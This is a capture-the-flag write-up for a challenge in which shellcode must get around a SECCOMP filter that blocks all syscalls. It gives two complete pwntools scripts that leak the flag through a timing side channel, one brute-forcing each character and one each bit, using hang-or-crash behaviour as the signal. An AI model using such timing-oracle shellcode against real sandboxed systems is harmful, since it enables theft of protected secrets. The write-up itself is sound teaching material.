Restricted shellcode challenge with bypassable SECCOMP filter via a Time-based Side Channel Attack.
Challenge Overview
Shellcoding Test is the continuation of Coding Test from the preliminary round. Once again, we can write any shellcode to an allocated buffer.
However, the SECCOMP rules enforced are much more restricted this time. As we are not allowed to execute any syscalls, we are left with a Time-based Side Channel Attack to brute force each flag character.
To mount this attack, we'll need to know exactly where the flag is loaded. Inspecting this in GDB, we realized that the flag is 8 bytes away from rsp.
Solution 1: Character Brute Forcing
In our solve script, we'll specify 2 loops - An outer loop that iterates N times (where N = flag length) to control the flag index that we are trying to brute force; and an inner loop that iterates all printable ASCII characters. Since we do not know the flag length, we'll just give N a large value for now.
for idx in range(0x1000):
for i in range(256):
r = elf.process()
shellcode = asm(f'''
mov rax, [rsp+8]
mov cl, [rax+{hex(idx)}]
cmp cl, {hex(i)}
je loop
syscall:
mov rax, 1
syscall
loop:
jmp loop
''')
r.sendline(shellcode)
The shellcode required for this character brute forcing approach is fairly straightforward to code in assembly language, but comes with a huge penalty in terms of time complexity. It takes approximately 5 minutes to get the entire flag right.
Flag: ACS{5h311c0d!ng_73s7_@ppr0v3d}
Final Script
#!/usr/bin/python3
from pwn import *
exe = './shellcoding_test'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'CRITICAL'
flag = ''
for idx in range(0x1000): # we do not know the actual flag length, so we'll assign a big value just to be sure
for i in range(256): # printable characters
r = elf.process()
shellcode = asm(f'''
mov rax, [rsp+8] # flag is 8 offset away from rsp
mov cl, [rax+{hex(idx)}] # iterate flag index
cmp cl, {hex(i)} # character to brute force
je loop
syscall:
mov rax, 1
syscall
loop:
jmp loop
''')
try:
r.sendline(shellcode)
r.recv(timeout=1)
print(f'[+] Found: {chr(i)}')
flag += chr(i)
r.close()
break
except Exception as e:
pass
r.close()
print(flag)
Solution 2: Bit Brute Forcing
A more optimized and faster way to do this is by granularize it down to the bit level. This way, we will only have to brute force 8 bits for each character (8 comparisons per character) instead of iterating through all ASCII printable characters like Solution 1.
Flag: ACS{5h311c0d!ng_73s7_@ppr0v3d}
Final Script
#!/usr/bin/python3
import sys
import string
import random
from pwn import *
context.binary = elfexe = ELF('./shellcoding_test', checksec=False)
context.log_level = 'CRITICAL'
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([elfexe.path] + argv, gdbscript, elfexe.path, *a, *kw)
else:
target = process([elfexe.path] + argv, *a, **kw)
return target
gdbscript = '''
b *main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
arguments = []
if args['REMOTE']:
remote_server = '192.168.0.52'
remote_port = 10202
def craft_shellcode(offset, bit_offset):
shellcode = asm((f"""
xor r11, r11
xor rax, rax
mov r12, [rsp+8] # flag is 8 offset away from rsp
mov al, [r12+{offset}] # iterate flag index
shr al, {bit_offset} # 8 bit = 1 byte = 1 character
shl al, 7
shr al, 7
loop:
cmp rax, r11
je end
jmp loop
end:
"""
), arch='amd64')
assert(len(shellcode) <= 0x100)
padded_shellcode = shellcode + b'\x90'*(0x100 - len(shellcode))
assert(len(padded_shellcode) == 0x100)
return padded_shellcode
def get_byte(offset):
binary_bits = ''
for bit_offset in range(8):
print(bit_offset, end=': ')
io = process()
io.send(craft_shellcode(offset, bit_offset))
start = time.time()
io.recvall(timeout=1).decode()
now = time.time()
print(now - start)
if (now - start) > 1:
binary_bits += '1'
else:
binary_bits += '0'
io.close()
print(binary_bits[::-1])
byte = int(binary_bits[::-1], 2) # Reverse binary bits & convert from binary (base2) to decimal
print(byte)
return byte
flag = ''
while not flag.endswith('}'):
flag += chr(get_byte(len(flag)))
print(flag)
print(f'Found Flag: {flag}')